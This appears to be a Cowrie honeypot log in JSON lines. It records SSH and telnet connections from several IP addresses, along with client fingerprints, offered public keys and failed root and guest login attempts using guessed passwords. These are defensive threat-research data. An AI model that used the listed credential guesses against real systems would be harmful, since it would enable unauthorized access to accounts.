{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":39046,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab7280092ad1","protocol":"ssh","message":"New connection: 103.15.226.202:39046 (10.17.0.5:22) [session: ab7280092ad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:54:44.476525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:54:44.481458Z","src_ip":"103.15.226.202","session":"ab7280092ad1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:54:44.724939Z","src_ip":"103.15.226.202","session":"ab7280092ad1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456!","message":"login attempt [root/Aa123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:54:45.462979Z","src_ip":"103.15.226.202","session":"ab7280092ad1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:54:46.709827Z","src_ip":"103.15.226.202","session":"ab7280092ad1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.146.3.155","src_port":40150,"dst_ip":"159.203.135.109","dst_port":23,"session":"99ad58c649af","protocol":"telnet","message":"New connection: 179.146.3.155:40150 (159.203.135.109:23) [session: 99ad58c649af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:56:43.237641Z"}
{"eventid":"cowrie.session.closed","duration":13.171414852142334,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:56:56.408758Z","src_ip":"179.146.3.155","session":"99ad58c649af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":49632,"dst_ip":"10.17.0.5","dst_port":22,"session":"3daf5867f305","protocol":"ssh","message":"New connection: 103.15.226.202:49632 (10.17.0.5:22) [session: 3daf5867f305]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:58:19.970967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:58:19.975733Z","src_ip":"103.15.226.202","session":"3daf5867f305","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:58:20.223691Z","src_ip":"103.15.226.202","session":"3daf5867f305","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zhbjETuyMffoL8F","message":"login attempt [root/zhbjETuyMffoL8F] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:58:20.974615Z","src_ip":"103.15.226.202","session":"3daf5867f305","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:58:22.225090Z","src_ip":"103.15.226.202","session":"3daf5867f305","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":57058,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1b79d24e44e","protocol":"telnet","message":"New connection: 212.55.149.117:57058 (10.17.0.5:23) [session: d1b79d24e44e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:59:36.628852Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.254.207.146","src_port":40570,"dst_ip":"10.17.0.5","dst_port":22,"session":"63ceb2b50cac","protocol":"ssh","message":"New connection: 173.254.207.146:40570 (10.17.0.5:22) [session: 63ceb2b50cac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:59:40.772776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:59:40.777770Z","src_ip":"173.254.207.146","session":"63ceb2b50cac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:59:40.849823Z","src_ip":"173.254.207.146","session":"63ceb2b50cac","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5b:e3:24:56:cb:82:24:e5:ca:34:60:6b:f0:f3:5b:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCh3mLFvco/21Ch/oG70L2ZO0dAv9Kp2TU4NDxpzzUWUjy3yTeCcarw15FFt1CW+QlDNQPGRYSpt13vuFzsJgUz9LyOTgUf90tdPHKMJLB3pJYFDARSPA1zbaFo5vC99lPcv74yqFABdS9i53pA5Adok85Em0ew+MhxckIjBknlKvjgXst1Ot/Y5PWEE3j29B1Gl7e+EZ5aBZnnB3i26qUDe5MjJjgxZ7jNjBqNRyVGWJDDI0MxbSCxQV4BmqioX5GJ6gFPwv3Il8ZQhkvPzX6xLrwU6h17Q9Cps6l9Kx/FCeqVGbFb+wvL4eZor0mpUzyqpfYA6aM+Ugw8zUorbJYyWbqJKHKCwjL5EWKNroe8rKa6EzGL8zgXMqsuTguDGBjXOAqDt4MrOp4EJuZ3pYHngN9C8PaRlvzaJJ+TlUJ16N6hjfca5sYmCJGv3lwi/s57lkEAYjsVNHOaDGXIA4Rld4rhIf0NPsPE697EGKv5o33F0xOZ+Z4/1qt/6XY8pmvFtFsJQH3fkdJeK3futNlxJ9ejoKWIt+1gdji0wfsQGzjWKQ3WuP662P6mO1zPGNvwFB3ta5A0kQvEnQwcV5dN/Q/Vb0fheTK0MdKsaK/hvVV7nlSSYOk2zUVRVPgY5P7SF8+yClJpLYza1u5hKhGhmKAzLWfRw0bzu1ZzzYKXJQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5b:e3:24:56:cb:82:24:e5:ca:34:60:6b:f0:f3:5b:9d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:59:41.190429Z","src_ip":"173.254.207.146","session":"63ceb2b50cac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5b:e3:24:56:cb:82:24:e5:ca:34:60:6b:f0:f3:5b:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCh3mLFvco/21Ch/oG70L2ZO0dAv9Kp2TU4NDxpzzUWUjy3yTeCcarw15FFt1CW+QlDNQPGRYSpt13vuFzsJgUz9LyOTgUf90tdPHKMJLB3pJYFDARSPA1zbaFo5vC99lPcv74yqFABdS9i53pA5Adok85Em0ew+MhxckIjBknlKvjgXst1Ot/Y5PWEE3j29B1Gl7e+EZ5aBZnnB3i26qUDe5MjJjgxZ7jNjBqNRyVGWJDDI0MxbSCxQV4BmqioX5GJ6gFPwv3Il8ZQhkvPzX6xLrwU6h17Q9Cps6l9Kx/FCeqVGbFb+wvL4eZor0mpUzyqpfYA6aM+Ugw8zUorbJYyWbqJKHKCwjL5EWKNroe8rKa6EzGL8zgXMqsuTguDGBjXOAqDt4MrOp4EJuZ3pYHngN9C8PaRlvzaJJ+TlUJ16N6hjfca5sYmCJGv3lwi/s57lkEAYjsVNHOaDGXIA4Rld4rhIf0NPsPE697EGKv5o33F0xOZ+Z4/1qt/6XY8pmvFtFsJQH3fkdJeK3futNlxJ9ejoKWIt+1gdji0wfsQGzjWKQ3WuP662P6mO1zPGNvwFB3ta5A0kQvEnQwcV5dN/Q/Vb0fheTK0MdKsaK/hvVV7nlSSYOk2zUVRVPgY5P7SF8+yClJpLYza1u5hKhGhmKAzLWfRw0bzu1ZzzYKXJQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:59:41.194006Z","src_ip":"173.254.207.146","session":"63ceb2b50cac","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a7:de:37:e5:ed:b8:e2:4c:30:fa:22:ca:91:ea:1c:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2R7diq6mXVZY/HuYuS0+CqnpYVfTWtMuXY2mDdsSfzf1WVQdLT1rSBz/hy8E9yBYaBjDzvBwmBMuBkVt0seEQnT2Dhz4kRL/NE8BKcH1iQrv4wQS+/0RwNdYwx/CK6/D3of0bFCRvsUF0XksoUQWC+MSTeU1YXYqKyYXb7BByiqv1khItTpKRVOX6AfxP4vscOrmaTTPupVRg4T04VYQmBxtIeRsWdSVP6Kfb3LMtjXK+fqBSaqBaDrvvEqeOeTHhKv2DecCR+/cyuZ+Op2wIkw+6fmUn1hPmUpkmnVEpAvGkn3asHXk9NC49vwDcI6E7nnxE2rwv94nOCbiPrdZsw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a7:de:37:e5:ed:b8:e2:4c:30:fa:22:ca:91:ea:1c:be","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:59:41.266800Z","src_ip":"173.254.207.146","session":"63ceb2b50cac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a7:de:37:e5:ed:b8:e2:4c:30:fa:22:ca:91:ea:1c:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2R7diq6mXVZY/HuYuS0+CqnpYVfTWtMuXY2mDdsSfzf1WVQdLT1rSBz/hy8E9yBYaBjDzvBwmBMuBkVt0seEQnT2Dhz4kRL/NE8BKcH1iQrv4wQS+/0RwNdYwx/CK6/D3of0bFCRvsUF0XksoUQWC+MSTeU1YXYqKyYXb7BByiqv1khItTpKRVOX6AfxP4vscOrmaTTPupVRg4T04VYQmBxtIeRsWdSVP6Kfb3LMtjXK+fqBSaqBaDrvvEqeOeTHhKv2DecCR+/cyuZ+Op2wIkw+6fmUn1hPmUpkmnVEpAvGkn3asHXk9NC49vwDcI6E7nnxE2rwv94nOCbiPrdZsw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:59:41.270794Z","src_ip":"173.254.207.146","session":"63ceb2b50cac","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"04:5e:89:6c:ea:ee:1c:4f:ce:43:e9:7b:82:52:53:be","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJTm7h/B5GL4yVdoW3tyCNp+w4m/TjHhfiLJBrbDyIfa","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 04:5e:89:6c:ea:ee:1c:4f:ce:43:e9:7b:82:52:53:be","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:59:41.343510Z","src_ip":"173.254.207.146","session":"63ceb2b50cac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"04:5e:89:6c:ea:ee:1c:4f:ce:43:e9:7b:82:52:53:be","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJTm7h/B5GL4yVdoW3tyCNp+w4m/TjHhfiLJBrbDyIfa","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:59:41.349200Z","src_ip":"173.254.207.146","session":"63ceb2b50cac","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:8d:4d:8b:f6:36:34:75:a2:ce:ba:ff:3c:51:de:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCg+858DJY4Gx3Dde3evyK4qu9oVsE231gieqcZSLvwNkEp1VsC4rhteCDdi4SvNWoeSerFU85jAVBZa1QyJoT8u7wj068DEDMH5IpXgLT76Neu/tHu9Mn+HWr2pmyev4cbYXSMkJaEmteNW3pf+dPR4e14peKIQVE54R7CCE4HVYnZO4UGhMwfzqlmgiVCMPOPJeWeXJWFOEiGWFpTC+gb5kwq0r2vqPqJFjTYOV/HSjsii8isaXb/pX71IBnqP2tB9iQnfnomYJ2W3sWs/aeBiJ+BkLzs1vthWLW24aimA8GNWnagTbJV17LRTZ+qkb6ENZFRbeb27U2IoepbTBJL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 48:8d:4d:8b:f6:36:34:75:a2:ce:ba:ff:3c:51:de:17","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:59:41.422174Z","src_ip":"173.254.207.146","session":"63ceb2b50cac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:8d:4d:8b:f6:36:34:75:a2:ce:ba:ff:3c:51:de:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCg+858DJY4Gx3Dde3evyK4qu9oVsE231gieqcZSLvwNkEp1VsC4rhteCDdi4SvNWoeSerFU85jAVBZa1QyJoT8u7wj068DEDMH5IpXgLT76Neu/tHu9Mn+HWr2pmyev4cbYXSMkJaEmteNW3pf+dPR4e14peKIQVE54R7CCE4HVYnZO4UGhMwfzqlmgiVCMPOPJeWeXJWFOEiGWFpTC+gb5kwq0r2vqPqJFjTYOV/HSjsii8isaXb/pX71IBnqP2tB9iQnfnomYJ2W3sWs/aeBiJ+BkLzs1vthWLW24aimA8GNWnagTbJV17LRTZ+qkb6ENZFRbeb27U2IoepbTBJL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:59:41.426063Z","src_ip":"173.254.207.146","session":"63ceb2b50cac","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7b:ff:f3:07:83:85:eb:7c:d0:22:9e:88:0a:ed:a0:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCt+RN9Fvkhc/3HN7Ba0StFe+XsHcjP3HTrGejlpmHprXw2GRjQnlHypRTpaaB8U0Psh2xawzulyPBrc6EBgYR6yxQlN1D/pmikAYLLbJxi9Jntdo/7Jb6juxs/FhPrwrSDEKynvBIVYvlf7+p/zM2IC0nzGEwOkQJH04NHLWLTyuAaRbM1F6Ag/guLzgxp8DoscpfJHEtK6JsKRBmHz7EpNMCEjnAY8HeJNGLN/StsD3ldBJSDzVON500o1+SiKrieABJ3/KCtYY+xO3zaMBuNIYLyulFQUoK3wcJ+WpMmRc68gBZqAg3xvRfh3+rco55miDzjfty5eN66r/hpnTLh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7b:ff:f3:07:83:85:eb:7c:d0:22:9e:88:0a:ed:a0:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:59:41.499950Z","src_ip":"173.254.207.146","session":"63ceb2b50cac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7b:ff:f3:07:83:85:eb:7c:d0:22:9e:88:0a:ed:a0:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCt+RN9Fvkhc/3HN7Ba0StFe+XsHcjP3HTrGejlpmHprXw2GRjQnlHypRTpaaB8U0Psh2xawzulyPBrc6EBgYR6yxQlN1D/pmikAYLLbJxi9Jntdo/7Jb6juxs/FhPrwrSDEKynvBIVYvlf7+p/zM2IC0nzGEwOkQJH04NHLWLTyuAaRbM1F6Ag/guLzgxp8DoscpfJHEtK6JsKRBmHz7EpNMCEjnAY8HeJNGLN/StsD3ldBJSDzVON500o1+SiKrieABJ3/KCtYY+xO3zaMBuNIYLyulFQUoK3wcJ+WpMmRc68gBZqAg3xvRfh3+rco55miDzjfty5eN66r/hpnTLh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:59:41.503698Z","src_ip":"173.254.207.146","session":"63ceb2b50cac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:59:41.576966Z","src_ip":"173.254.207.146","session":"63ceb2b50cac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.66.87.127","src_port":55778,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2547888ccd6","protocol":"telnet","message":"New connection: 177.66.87.127:55778 (10.17.0.5:23) [session: c2547888ccd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:59:45.677267Z"}
{"eventid":"cowrie.session.closed","duration":12.284816980361938,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:59:57.961972Z","src_ip":"177.66.87.127","session":"c2547888ccd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.223.80","src_port":57216,"dst_ip":"10.17.0.5","dst_port":22,"session":"59c89a51a813","protocol":"ssh","message":"New connection: 57.128.223.80:57216 (10.17.0.5:22) [session: 59c89a51a813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:00:04.346818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:00:04.420208Z","src_ip":"57.128.223.80","session":"59c89a51a813","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:00:04.518470Z","src_ip":"57.128.223.80","session":"59c89a51a813","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest01","message":"login attempt [guest/guest01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:00:04.987384Z","src_ip":"57.128.223.80","session":"59c89a51a813","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:00:06.094471Z","src_ip":"57.128.223.80","session":"59c89a51a813","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.43.254.61","src_port":49991,"dst_ip":"10.17.0.5","dst_port":23,"session":"1308588a57ad","protocol":"telnet","message":"New connection: 38.43.254.61:49991 (10.17.0.5:23) [session: 1308588a57ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:00:11.103702Z"}
{"eventid":"cowrie.session.closed","duration":12.448110818862915,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:00:23.551692Z","src_ip":"38.43.254.61","session":"1308588a57ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.04464769363403,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:01:36.673385Z","src_ip":"212.55.149.117","session":"d1b79d24e44e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":50218,"dst_ip":"10.17.0.5","dst_port":22,"session":"605bc172e8e3","protocol":"ssh","message":"New connection: 103.15.226.202:50218 (10.17.0.5:22) [session: 605bc172e8e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:01:56.032332Z"}
